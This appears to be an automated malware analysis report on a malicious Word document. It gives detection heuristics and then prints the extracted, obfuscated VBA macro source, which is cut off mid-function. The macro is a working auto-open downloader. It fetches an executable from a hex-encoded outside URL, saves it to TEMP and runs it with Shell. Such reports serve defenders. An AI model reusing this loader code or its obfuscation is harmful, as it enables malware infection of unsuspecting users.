Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7578b80cb16c755d…

MALICIOUS

Office (OLE)

81.0 KB Created: 2014-10-23 17:52:00 Authoring application: Microsoft Office Word First seen: 2014-11-24
MD5: f0626f276e0da283a15f414eea413fee SHA-1: 0f9c49e08683b811a6c713afc1a37b3a33f58fd8 SHA-256: 7578b80cb16c755d974778343dada4b64e6dd4a62b08d59c2c8ea76f08fcdbac
334 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        HCVMSQIHDCP = Shell(SLYKKOLAEQT, 1)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set TNGEBAHUNYK = CreateObject(StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("534D")) + "XML2.XML" + "HTTP")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set TNGEBAHUNYK = CreateObject(StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("534D")) + "XML2.XML" + "HTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        RMVFJNRAUCC StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6578652E6E69622F736A2F6C6D74682F6F722E6D7261666172696D2F2F3A70747468")), Environ("TEMP") & "\TBMUVAERYFM.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35092 bytes
SHA-256: 60edb950c8919b6f24997c8aa70094694b6ddd4289accee337b8601794aa6aff
Detection
ClamAV: No threats found
Obfuscation or payload: likely
229 of 339 identifiers look randomly generated (e.g. 'E6B6363746D7472686D686F656874776D7462647') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
GoTo phucdbufifujfwpkqfkqxbglhnhasmc
Dim lnkuykaaycsqzsqpxphbeekmteigert As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6171726C74746D7A736D62667A786B6572617172787963676461666C717864")) For Binary As #91496
Put #91496, , lnkuykaaycsqzsqpxphbeekmteigert
Close #91496
phucdbufifujfwpkqfkqxbglhnhasmc:
GoTo zuqwngjgoqbvdcqmlormrcrbhojblmyyvaonhnddutcaox
Dim gljekjzefkaezvjfvqudwuxsgyhmaqbxaqsfmzeyhfuitt As String
Open "yvvpwvwcknkbhmbqgknoguaujflmdvcxhdjftevvzudkrm" For Binary As #42634
Put #42634, , gljekjzefkaezvjfvqudwuxsgyhmaqbxaqsfmzeyhfuitt
Close #42634
zuqwngjgoqbvdcqmlormrcrbhojblmyyvaonhnddutcaox:
GoTo wascrefzowchzsioaufdspgbhzsbirh
Dim prvsdfygigmxlzexnbfpzgkewmbzgxy As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6F6A6E746F78796A766278696F7573797A6B786B706C6D6E78676A6E676F67")) For Binary As #16385
Put #16385, , prvsdfygigmxlzexnbfpzgkewmbzgxy
Close #16385
wascrefzowchzsioaufdspgbhzsbirh:
GoTo hncvbpsytzrfujcykiirpkjkymczcwmldcwligccslhjhu
Dim kjzxsfyfphqcxbzepaglbkduhlyzeivlwbzxnorcwatpgc As String
Open "wkozfmwqjxusyaoojifnafynhnhftithycsysauzacotgw" For Binary As #43519
Put #43519, , kjzxsfyfphqcxbzepaglbkduhlyzeivlwbzxnorcwatpgc
Close #43519
hncvbpsytzrfujcykiirpkjkymczcwmldcwligccslhjhu:
FFTZHJULOTN
End Sub
Sub AutoOpen()
GoTo foyxxjyopsomfmyzcqqypconffwbcwyxpithrjhpijsnvj
Dim yvsnlqjrlzhiarskxmsvtoirnftkrzfjrwwvwtperjawef As String
Open "orjbijkbqbbrowjmpivipfdfmlifsmecfpievbmyhaegzp" For Binary As #86633
Put #86633, , yvsnlqjrlzhiarskxmsvtoirnftkrzfjrwwvwtperjawef
Close #86633
foyxxjyopsomfmyzcqqypconffwbcwyxpithrjhpijsnvj:
GoTo smcegxjvwmgpsrwakphlqojakszuias
Dim sgxsnxicqxazuhwczzjafaleqdmflgs As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("7664626364636A70626E666D736272747A6173696F72687269776663666B6D")) For Binary As #15532
Put #15532, , sgxsnxicqxazuhwczzjafaleqdmflgs
Close #15532
smcegxjvwmgpsrwakphlqojakszuias:
GoTo yvvpwvwcknkbhmbqgknoguaujflmdvcxhdjftevvzudkrm
Dim bnjliagqifvfosjntvmihzuqvxcuehjtjufkdiksjdovdx As String
Open "ebjgpeprijazwwjfobhklcsguqcblouxijwzpeaavaldvr" For Binary As #62603
Put #62603, , bnjliagqifvfosjntvmihzuqvxcuehjtjufkdiksjdovdx
Close #62603
yvvpwvwcknkbhmbqgknoguaujflmdvcxhdjftevvzudkrm:
GoTo jaegvqgaqpxreqyebfvodkjwzguyiea
Dim trkqrsuekrnsaawucevkczlbneewhxq As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("7A6E6A6A757463647068656168766E6366616B79666F6A616A777265737570")) For Binary As #35195
Put #35195, , trkqrsuekrnsaawucevkczlbneewhxq
Close #35195
jaegvqgaqpxreqyebfvodkjwzguyiea:
GoTo wkozfmwqjxusyaoojifnafynhnhftithycsysauzacotgw
Dim alrogbxvotznxjrcmrzpicnucmpblkyqdzbfprggkalnrd As String
Open "fsmwgxhylihkkuakwslhwfgpzpxfawrhohfsvvcexaelff" For Binary As #34097
Put #34097, , alrogbxvotznxjrcmrzpicnucmpblkyqdzbfprggkalnrd
Close #34097
wkozfmwqjxusyaoojifnafynhnhftithycsysauzacotgw:
GoTo ijzhbhvnvkdqinqbdlmafxlmofihypw
Dim uzqldjdeaarecenlykyhavalrjxtroi As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6E6B6363746D7472686D686F656874776D746264796F61776573786B77736C")) For Binary As #92337
Put #92337, , uzqldjdeaarecenlykyhavalrjxtroi
Close #92337
ijzhbhvnvkdqinqbdlmafxlmofihypw:
GoTo vlpbsycjhpeecoptdybkbsdfrwgciggngfzdrjbxqvakwo
Dim awrmsbrcgbonsirzhmjsttrkqrlooqyptlimikvginhknj As String
Open "kfujkiathatszsuuvztzotnamxzopiytzsvhgxnjqepjpt" For Binary As #75764
Put #75764, , awrmsbrcgbonsirzhmjsttrkqrlooqyptlimikvginhknj
Close #75764
vlpbsycjhpeecoptdybkbsdfrwgciggngfzdrjbxqvakwo:
    Auto_Open
End Sub
Sub Workbook_Open()
GoTo ebjgpeprijazwwjfobhklcsguqcblouxijwzpeaavaldvr
Dim craozujtcohmiaakutosrbbulnfhzsxjslxefgjnffpvxf As String
Open "wmjrdaavqqcgkjjbfizcouqpfsimfzxgnqmpsafdbsisvv" For Binary As #61342
Put #61342, , craozujtcohmiaakutosrbbulnfhzsxjslxefgjnffpvxf
Close #61342
ebjgpeprijazwwjfobhklcsguqcblouxijwzpeaavaldvr:
GoTo cndptavigbzuplouiawdsngqnowcwnv
Dim zumywdtwningzguxunzstbohilttexp As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6E7576636D6B66686F6D71777061676A646E7567656373646D786179747A75")) For Binary As #89063
Put #89063, , zumywdtwningzguxunzstbohilttexp
Close #89063
cndptavigbzuplouiawdsngqnowcwnv:
GoTo fsmwgxhylihkkuakwslhwfgpzpxfawrhohfsvvcexaelff
Dim pptnzoxxhyzifptcgnftpuorwhsmsmvwtvttacioidurdd As String
Open "wtmxpatilgkuozmqmdwaeobfimxkmifvvyxxizobdajeam" For Binary As #13218
Put #13218, , pptnzoxxhyzifptcgnftpuorwhsmsmvwtvttacioidurdd
Close #13218
fsmwgxhylihkkuakwslhwfgpzpxfawrhohfsvvcexaelff:
GoTo jxgdjqsxkqdnlijzgouyozbhlfawgrw
Dim twksudbrcdaazowounlbnsxhwbcivpq As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("776C6F776C6D6176677A75706E78716368626D6267786A6E6B6D696D646566")) For Binary As #44601
Put #44601, , twksudbrcdaazowounlbnsxhwbcivpq
Close #44601
jxgdjqsxkqdnlijzgouyozbhlfawgrw:
GoTo kfujkiathatszsuuvztzotnamxzopiytzsvhgxnjqepjpt
Dim eawotmkfgebtekwmtfvcyuhxxvimsobukfklrktubudylx As String
Open "lrcukshqtdjhtpvlyylayossngxkspaetxrghrjqdexbys" For Binary As #49434
Put #49434, , eawotmkfgebtekwmtfvcyuhxxvimsobukfklrktubudylx
Close #49434
kfujkiathatszsuuvztzotnamxzopiytzsvhgxnjqepjpt:
GoTo wqlhnrnmjgezdgbknuntwnsxgkjcetc
Dim anpjpvnuubflbeknbhflriqmijzupdn As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6A64656F74786379797770767A657A78656B6D646D6466687471747863736D")) For Binary As #26987
Put #26987, , anpjpvnuubflbeknbhflriqmijzupdn
Close #26987
wqlhnrnmjgezdgbknuntwnsxgkjcetc:
GoTo nqmngnykadwkiinrspcirfxlibzxulaxybmbjbmghmfpum
Dim ogwxopozbmdbtjqgupdbzfkgvtlxsmdgmawarauqaxqssi As String
Open "pbfzsoyrcuwqwrdevhcclunmeeziumryploxbkthbuxfgs" For Binary As #91442
Put #91442, , ogwxopozbmdbtjqgupdbzfkgvtlxsmdgmawarauqaxqssi
Close #91442
nqmngnykadwkiinrspcirfxlibzxulaxybmbjbmghmfpum:
    Auto_Open
End Sub
Function RMVFJNRAUCC(ByVal YGXDYTKSILF As String, ByVal SLYKKOLAEQT As String) As Boolean
     Dim TNGEBAHUNYK As Object, JCXSXDSBNEZ As Long, MUJGZDDPTYL As Long, EMJXURKLOXG() As Byte

GoTo esozfnuyhtzzbpicprxquzocmuqjrxbruwwjpxsaecuiak
Dim okylrhjqegnoydtaenzrmbrzsafvxmwaibkijbfnsqgtrn As String
Open "xassrdodskeaswsrvylmzhpvmxhdrdlchltyqjzhywkvgm" For Binary As #13437
Put #13437, , okylrhjqegnoydtaenzrmbrzsafvxmwaibkijbfnsqgtrn
Close #13437
esozfnuyhtzzbpicprxquzocmuqjrxbruwwjpxsaecuiak:
GoTo qiikyrsjkyfkhbhmosjicrwnuqcmbte
Dim kevvgudkijfwsfemdnqlvkzjfybsajv As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("74786D686C666971626364767A7A6C6279706678736E6F6162746E796D6963")) For Binary As #67554
Put #67554, , kevvgudkijfwsfemdnqlvkzjfybsajv
Close #67554
qiikyrsjkyfkhbhmosjicrwnuqcmbte:
GoTo grvjihrfxqohaoczyikwmusuhcbiywtnjcgwvhldruxkur
Dim owyiqhnqbyvocrtnoekcvuaeiyzifswqseargocnwlsvnd As String
Open "ndobynesnppxtbixljytauegjvgiflwfkgjoohbafxyxzq" For Binary As #45764
Put #45764, , owyiqhnqbyvocrtnoekcvuaeiyzifswqseargocnwlsvnd
Close #45764
grvjihrfxqohaoczyikwmusuhcbiywtnjcgwvhldruxkur:
GoTo evznqgvpgzqpxdvsiqcdnfityhmnvzr
Dim zlugmvkfdttkwzoguoxpoupaxrcxwsc As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6E726879756A62766B6B6F696C77706E6D6C76786A6F656279626673627468")) For Binary As #28552
Put #28552, , zlugmvkfdttkwzoguoxpoupaxrcxwsc
Close #28552
evznqgvpgzqpxdvsiqcdnfityhmnvzr:
GoTo szqtilsefhhvtllkgspbjkxrkdxwvkudownrzvpcmyobbe
Dim rcybewqngbmmyrtsipierkmthynwqzyltaxxagceskncdv As String
Open "ypqqglhnwajvbgllyknpxeadacmagzdemissxrvckupzgq" For Binary As #46219
Put #46219, , rcybewqngbmmyrtsipierkmthynwqzyltaxxagceskncdv
Close #46219
szqtilsefhhvtllkgspbjkxrkdxwvkudownrzvpcmyobbe:
GoTo vrcafaqwfzhasvwsrtdlvszxwuyfjxh
Dim gxlrsoqyttyscgbwnvkgmoavzleuohm As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6877656F6E64656A6D7776756168776F79706F67636A666273647A616D7A6B")) For Binary As #14363
Put #14363, , gxlrsoqyttyscgbwnvkgmoavzleuohm
Close #14363
vrcafaqwfzhasvwsrtdlvszxwuyfjxh:
    Set TNGEBAHUNYK = CreateObject(StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("534D")) + "XML2.XML" + "HTTP")
GoTo fiazezsxltymstmuwbnnhqhgwqopkwcxvosaodvothuzaz
Dim bkgvhrznuresfzfrrberntbtzwklifkbwoexhjfpypfrdm As String
Open "inlmrzatfdhtcekkzfmhdzlpdosjebndvgooghxckqdciw" For Binary As #18611
Put #18611, , bkgvhrznuresfzfrrberntbtzwklifkbwoexhjfpypfrdm
Close #18611
fiazezsxltymstmuwbnnhqhgwqopkwcxvosaodvothuzaz:
GoTo etepkwbhtiwftusjuiybgiryqivuptm
Dim evzdzeprdespbolvtiqlrvqelgdttyu As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6D6D6363646962787A6D616D66657679766468617079617A626C79616B6C61")) For Binary As #67542
Put #67542, , evzdzeprdespbolvtiqlrvqelgdttyu
Close #67542
etepkwbhtiwftusjuiybgiryqivuptm:
GoTo kvnqjujmxbujqqbowybjsuxntmuisytqvpxtimwicvyjmu
Dim mtjowwwgqllecyhwlrygubvmtjyvjheaytgfrsbkkfwprh As String
Open "gjygahwbpmmonbyscgmkyspwxxkrdeblnfegkrknqwhqzv" For Binary As #3797
Put #3797, , mtjowwwgqllecyhwlrygubvmtjyvjheaytgfrsbkkfwprh
Close #3797
kvnqjujmxbujqqbowybjsuxntmuisytqvpxtimwicvyjmu:
GoTo dejgytgulydozwqzmrdbncxzomrpsjp
Dim smvkzywdrlrzmvngeeodcbrdtdiamgn As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("79726970676C6C616963667A757677696B736E6C6D7374676F6E7064677867")) For Binary As #16269
Put #16269, , smvkzywdrlrzmvngeeodcbrdtdiamgn
Close #16269
dejgytgulydozwqzmrdbncxzomrpsjp:
GoTo uhxjmkmwjkcxoozbdlqtbqlzgzcpkxvgwhyiiaptdhybeg
Dim juolffzdnjxdbsivbjildfgudfgxsysxrtbwrdztezqbij As String
Open "yuhcqcokvcwdckgroslgyovtxlgnrzxilzhemiljjankzs" For Binary As #52899
Put #52899, , juolffzdnjxdbsivbjildfgudfgxsysxrtbwrdztezqbij
Close #52899
uhxjmkmwjkcxoozbdlqtbqlzgzcpkxvgwhyiiaptdhybeg:
GoTo njlpfbxfxvoqygbtbdocuqmbqliqnbf
Dim irskrjmgnoxbpoiicxkdylofshhqapa As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("746A6F7A61656C726567616B73796575697671627A766F6F636A6E65737466")) For Binary As #41364
Put #41364, , irskrjmgnoxbpoiicxkdylofshhqapa
Close #41364
njlpfbxfxvoqygbtbdocuqmbqliqnbf:
    TNGEBAHUNYK.Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("544547")), YGXDYTKSILF, False
GoTo vjaoztrpxwqompmeswlrstaeduklpjgrdbfgxmphygomis
Dim alxzxvfkpuughozogxojomwimpegzwyjwsmsnaouchcagu As String
Open "yeskuldoliylxwaucxoilbonuxwvzxrxoblchzxohwfclz" For Binary As #49217
Put #49217, , alxzxvfkpuughozogxojomwimpegzwyjwsmsnaouchcagu
Close #49217
vjaoztrpxwqompmeswlrstaeduklpjgrdbfgxmphygomis:
GoTo wfagqecpgxzhaeiujdoenwpuzjoomyh
Dim acpncvjudthliskaooumumcjszdcqab As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("627262636A68616C6D6E63797471676372676F656D686664796E6F6C626277")) For Binary As #43362
Put #43362, , acpncvjudthliskaooumumcjszdcqab
Close #43362
wfagqecpgxzhaeiujdoenwpuzjoomyh:
GoTo zttnziamgjblrwrmoxzmkhxlgvhdafjitevjousnsfyina
Dim cxxmvdyvmnprnozxfsavkoqpupinadphbixlxtpsrhpnkq As String
Open "boueumwchamlkqyssiqfucekqmoycfhlqhsuycpeptrbqv" For Binary As #24510
Put #24510, , cxxmvdyvmnprnozxfsavkoqpupinadphbixlxtpsrhpnkq
Close #24510
zttnziamgjblrwrmoxzmkhxlgvhdafjitevjousnsfyina:
GoTo ayepculudrccepyrdnziuozgvpedjhg
Dim ifczumlgehrqjmbgaybepqsllobvyxk As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("646A786465787369786F67696867766D6D7076666B6567656F66646976736D")) For Binary As #26754
Put #26754, , ifczumlgehrqjmbgaybepqsllobvyxk
Close #26754
ayepculudrccepyrdnziuozgvpedjhg:
GoTo rxwotbrkffsjxmqfamrjfhliyyxdackckpisfdmvqiapfp
Dim rnthlwsbolbacctmvjfxqmthzsygzcuonytinntewjcgya As String
Open "pxmhkgavketuqinuamgkdczwjnnyvagzsrxhdemivmaozz" For Binary As #77532
Put #77532, , rnthlwsbolbacctmvjfxqmthzsygzcuonytinntewjcgya
Close #77532
rxwotbrkffsjxmqfamrjfhliyyxdackckpisfdmvqiapfp:
GoTo nouwtbkqxahnhigssimucjwrvwrsdsx
Dim hkpqvifsqxgaiolmrbzmdylrnhkkzjz As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("6A65736273697365647A72647071686768646C62716575767A62676E757465")) For Binary As #61644
Put #61644, , hkpqvifsqxgaiolmrbzmdylrnhkkzjz
Close #61644
nouwtbkqxahnhigssimucjwrvwrsdsx:
GoTo olzywpdarnvwlupndivolmdipskggvprbheqfmmtzssied
Dim bwkwamkufokcgijqlfdagksdmndwqfupstlqmdokilbntk As String
Open "pskkvgffqxjfeqjkzerqtqfuomtplmxqqgtwogsxnguuuq" For Binary As #47231
Put #47231, , bwkwamkufokcgijqlfdagksdmndwqfupstlqmdokilbntk
Close #47231
olzywpdarnvwlupndivolmdipskggvprbheqfmmtzssied:
    TNGEBAHUNYK.Send "send request"

GoTo jfwifipxzxqrclahmnmhtptasolbiqf
Dim cvdwiagiptcyenoowrbzgkioqgzssvv As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("79796C6D796C7971617478726D72626D776F70706667666C64787575636179")) For Binary As #76120
Put #76120, , cvdwiagiptcyenoowrbzgkioqgzssvv
Close #76120
jfwifipxzxqrclahmnmhtptasolbiqf:
GoTo wqljymedwelxyekwpwlvpekzpojaoudaqzenapcknqmxxh
Dim qgatltihsgwoltmreiykuojdclrnapocwfjpcuvgbhpxbm As String
Open "rnthlwsbolbacctmvjfxqmthzsygzcuonytinntewjcgya" For Binary As #31143
Put #31143, , qgatltihsgwoltmreiykuojdclrnapocwfjpcuvgbhpxbm
Close #31143
wqljymedwelxyekwpwlvpekzpojaoudaqzenapcknqmxxh:
GoTo omravnnbvjpvwuuqtufofthvrdnrebo
Dim uiwvxaypumbeeetyerriuezogzdgrzt As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("616B667962616561746B61786A6A73747269646576676C6877616A61776F64")) For Binary As #77767
Put #77767, , uiwvxaypumbeeetyerriuezogzdgrzt
Close #77767
omravnnbvjpvwuuqtufofthvrdnrebo:
GoTo cwlwrybmqqggxskjyldhuqcnmfjpcfxzmsgtendllelyar
Dim ipgfxjzbdteprhfroqclmkiwqiiwqcibcxsgryyjbcwapm As String
Open "bwkwamkufokcgijqlfdagksdmndwqfupstlqmdokilbntk" For Binary As #74061
Put #74061, , ipgfxjzbdteprhfroqclmkiwqiiwqcibcxsgryyjbcwapm
Close #74061
cwlwrybmqqggxskjyldhuqcnmfjpcfxzmsgtendllelyar:
GoTo lezxculmpbiyiketbybpvqrftoawkae
Dim uabzglgokiyisquelcosfpqfurcinjw As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("707561726F636E667466776F647173737661737467716C6E6E796463666D76")) For Binary As #47541
Put #47541, , uabzglgokiyisquelcosfpqfurcinjw
Close #47541
lezxculmpbiyiketbybpvqrftoawkae:
GoTo zocoriejzjoclzxzgztpvsucawgrfavbwubulyescwhhle
Dim fpaslzzzxnemqbmtiwekdszvmvkrircfkjxvyvyovfrdtb As String
Open "juctaouzaapcouxxymxywhcrzfqderqjpcsfqgusfekauw" For Binary As #23663
Put #23663, , fpaslzzzxnemqbmtiwekdszvmvkrircfkjxvyvyovfrdtb
Close #23663
zocoriejzjoclzxzgztpvsucawgrfavbwubulyescwhhle:
    Do While TNGEBAHUNYK.readyState <> 4
GoTo ghwndptjigsbfwqfhevdhmstfzfgptuvpckeeweqozljxp
Dim qmboiaquauivakvpqvwwrhycsksdniqilpojdniuroammt As String
Open "hzmscggqyhyupeniwhwdimmsmofggrosqpnzfsfigasrao" For Binary As #48542
Put #48542, , qmboiaquauivakvpqvwwrhycsksdniqilpojdniuroammt
Close #48542
ghwndptjigsbfwqfhevdhmstfzfgptuvpckeeweqozljxp:
GoTo bupjoakspxihbwwtrigapcaqljkjcix
Dim cjududnvetcxnjlpwytmgzthabwnvri As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("757961677279787670647172696261707775616363706D7061656C626F746D")) For Binary As #34420
Put #34420, , cjududnvetcxnjlpwytmgzthabwnvri
Close #34420
bupjoakspxihbwwtrigapcaqljkjcix:
GoTo ctrnkseubyanvnedeuzxcfatgosxyfduibadhxibqafaex
Dim uguasxfxhrbabgumrujlykpvtpowbvypgbwvznvmwyoxra As String
Open "lcxfldwlpforuvzzzcxsptfsvmeloihbuwizzbysfgifse" For Binary As #2421
Put #2421, , uguasxfxhrbabgumrujlykpvtpowbvypgbwvznvmwyoxra
Close #2421
ctrnkseubyanvnedeuzxcfatgosxyfduibadhxibqafaex:
GoTo wjqzohwjcdvxphrtvxvmmtxgcxtreuo
Dim pybhybwwgbhcrtmbkfdcffshgtwnvae As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("71797169647A6476737376737073787A6C6D776D6474636966706D626A6177")) For Binary As #79926
Put #79926, , pybhybwwgbhcrtmbkfdcffshgtwnvae
Close #79926
wjqzohwjcdvxphrtvxvmmtxgcxtreuo:
GoTo mzwtdbixwndhfxqgwjzdpqykkkmplkxgunxugofvoodtwi
Dim owpvjpxamqxeumovlgwahoilkybntnpckzgjszotdmnmbj As String
Open "vfaqvtxpkmeiplmtvvcfgcrzydoyqggfolwkvhaghjzifb" For Binary As #22843
Put #22843, , owpvjpxamqxeumovlgwahoilkybntnpckzgjszotdmnmbj
Close #22843
mzwtdbixwndhfxqgwjzdpqykkkmplkxgunxugofvoodtwi:
GoTo pwddphxfqmeegyckxwefyxzqyopncko
Dim lmrdruczpzdamcgmpaubiraymugpdvx As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("627369617373726875747A6E7071756A706E777A716D736379736366617871")) For Binary As #54132
Put #54132, , lmrdruczpzdamcgmpaubiraymugpdvx
Close #54132
pwddphxfqmeegyckxwefyxzqyopncko:
GoTo ytwzwlcmehwcqeqrdjnaasnpbcprruspgtilnnrxuznshs
Dim hbkxyguifhqfycjebggvhcctchdykqkljvndxmtxnkzswf As String
Open "tbvlxvrvsxmfracaomvopqrrtwdpoymgddjfltdtztketn" For Binary As #89076
Put #89076, , hbkxyguifhqfycjebggvhcctchdykqkljvndxmtxnkzswf
Close #89076
ytwzwlcmehwcqeqrdjnaasnpbcprruspgtilnnrxuznshs:
    DoEvents
GoTo qtimkmvqmedlqcughqdukkfjyhhwxtpljbrkoogepuoqgo
Dim myeblbjcefjhuswlnhpwnmrvgkpgifzrxclvlfzcmckceq As String
Open "dknilxpysjzydqbxqxjbokzmdaxwljollkuxrrwdrcwgfw" For Binary As #41201
Put #41201, , myeblbjcefjhuswlnhpwnmrvgkpgifzrxclvlfzcmckceq
Close #41201
qtimkmvqmedlqcughqdukkfjyhhwxtpljbrkoogepuoqgo:
GoTo fefjixjalbkcegcfiqhreokycdoincq
Dim wskhnrdpvihbvjmssimvpagybbrvisl As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("716F65696E6E7468796F716975726368787264786C6C6C6772776166736461")) For Binary As #20954
Put #20954, , wskhnrdpvihbvjmssimvpagybbrvisl
Close #20954
fefjixjalbkcegcfiqhreokycdoincq:
GoTo dncexkzmyksztxxdstuiofraxezxbdlxbljecdrtzqcazc
Dim jsutxiwytrjjzztlgnnwluvgpyvinkpyhrflafebmeaskq As String
Open "tzpxaqnhtudqegogcphfrukblvlinyoqrjqttoynpntmdo" For Binary As #73667
Put #73667, , jsutxiwytrjjzztlgnnwluvgpyvinkpyhrflafebmeaskq
Close #73667
dncexkzmyksztxxdstuiofraxezxbdlxbljecdrtzqcazc:
GoTo irdfdmfeamdnidhxnypvaunhkhfxqvb
Dim ucqtyanoyzzrmgrwbttlqccdjxlpgbt As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("70796B6A65676474756878657A656A7477766F7A766E6B776C766E6E6B616A")) For Binary As #941
Put #941, , ucqtyanoyzzrmgrwbttlqccdjxlpgbt
Close #941
irdfdmfeamdnidhxnypvaunhkhfxqvb:
GoTo mhlzzwljnfywaejiibafnchbvpoyhmwnlvatppcjjlposx
Dim zdwrlfwwgvktueqqfmyqwqmilxtpjbbxoncadwelmzsdsk As String
Open "cmhnasjwwmyqndgisybiztsjddylsbebfyfkvzrphavsfx" For Binary As #76190
Put #76190, , zdwrlfwwgvktueqqfmyqwqmilxtpjbbxoncadwelmzsdsk
Close #76190
mhlzzwljnfywaejiibafnchbvpoyhmwnlvatppcjjlposx:
GoTo mfjlnblcqfktvmnfehpcpxgdgmfncuo
Dim nicefmyltvousetybgkauvvemskjzyb As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("726271697764786D767077716E787666616E6E6A6A7967666B736F756C766C")) For Binary As #55196
Put #55196, , nicefmyltvousetybgkauvvemskjzyb
Close #55196
mfjlnblcqfktvmnfehpcpxgdgmfncuo:
GoTo ptgryoxybapllsfxmfzexcxgjwjygoefdfxlhhzgtvhzkr
Dim oilalhlgehydqbkivqwmmunxenaibozmzminmskzyeahpx As String
Open "odupphcwrqdiaqygabpxhtwqmavldcqkcxcvwlznqtqcto" For Binary As #95726
Put #95726, , oilalhlgehydqbkivqwmmunxenaibozmzminmskzyeahpx
Close #95726
ptgryoxybapllsfxmfzexcxgjwjygoefdfxlhhzgtvhzkr:
    Loop

GoTo dsxxokensonzxfzaksdmycapqmqyjglfkvmlzvgtdlpqjn
Dim cshjbsnqvqrwhrgyjsemihunouhdwmejtdcgxtgzymzwib As String
Open "jsutxiwytrjjzztlgnnwluvgpyvinkpyhrflafebmeaskq" For Binary As #74130
Put #74130, , cshjbsnqvqrwhrgyjsemihunouhdwmejtdcgxtgzymzwib
Close #74130
dsxxokensonzxfzaksdmycapqmqyjglfkvmlzvgtdlpqjn:
GoTo mrtpwnfsnbbdjdhxwhtksmsmftlviik
Dim jdoizomzricfofqpcejillmmhlfdkvj As String
Open StrReverse(tmwrsdgakhpjqmoxphtzetgasyogkgd("737A76786A73736A796A6C7573757971706E6673726C6C776D6A6E776D6867")) For Binary As #3497
Put #3497, , jdoizomzricfofqpcejillmmhlfdkvj
Close #3497
mrtpwnfsnbbdjdhxwhtksmsmftlviik:
GoTo rjfokbkdiyuovfdiinodauqqrmliruigxqphcacohixpvp
